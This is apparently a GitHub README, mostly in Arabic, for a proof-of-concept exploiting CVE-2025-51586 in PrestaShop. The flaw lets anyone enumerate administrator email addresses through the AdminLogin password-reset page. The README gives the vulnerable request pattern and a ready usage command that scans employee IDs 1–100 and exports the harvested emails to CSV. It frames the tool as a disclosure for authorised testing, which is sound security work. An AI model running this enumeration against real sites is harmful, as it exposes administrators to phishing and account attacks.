
PrestaShop AdminLogin Email Enumeration PoC - CVE-2025-51586. This repository provides an ethical Proof-of-Concept (PoC) for the PrestaShop vulnerability allowing user enumeration through the AdminLogin password reset mechanism. It explains the impact, setup, and usage of the PoC script.
يحتوي هذا المستودع على إثبات مفهوم (PoC) أخلاقي للثغرة الأمنية CVE-2025-51586، والتي تؤثر على PrestaShop الإصدارات 1.7.x — 8.2.2.
يقوم إثبات المفهوم هذا بتعداد العناوين البريدية لحسابات المدراء عبر آلية إعادة تعيين كلمة المرور في الواجهة الخلفية (وحدة تحكم AdminLogin).
https://domain.tld/admin/index.php?controller=AdminLogin&reset=1id_employee صالحًا وreset_token غير صالح<input name="reset_email" value="[email protected]">الإشعار الرسمي: Friends of Presta Security
تم الإبلاغ عنها بواسطة فريق Friends of Presta Security (نُشر الإشعار في 4 سبتمبر 2025).
إثبات المفهوم هذا مخصص للأغراض التعليمية والاختبار المصرّح به فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاستخدامها. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.
استنسخ المستودع وثبّت التبعيات:
git clone https://github.com/7h30th3r0n3/CVE-2025-51586-PrestaShop-PoC.git
cd CVE-2025-51586-PrestaShop-PoC
pip install requests beautifulsoup4 rich
python3 cve_2025_51586_enum.py \
-u "https://target/admin/index.php?controller=AdminLogin&reset=1" \
-s 1 -e 100 -m POST -t invalidtoken123 --delay 0.5 --timeout 10 --export results.csv
تم تطوير إثبات المفهوم بواسطة 7h30th3r0n3. الثغرة اكتشفها فريق Friends of Presta Security.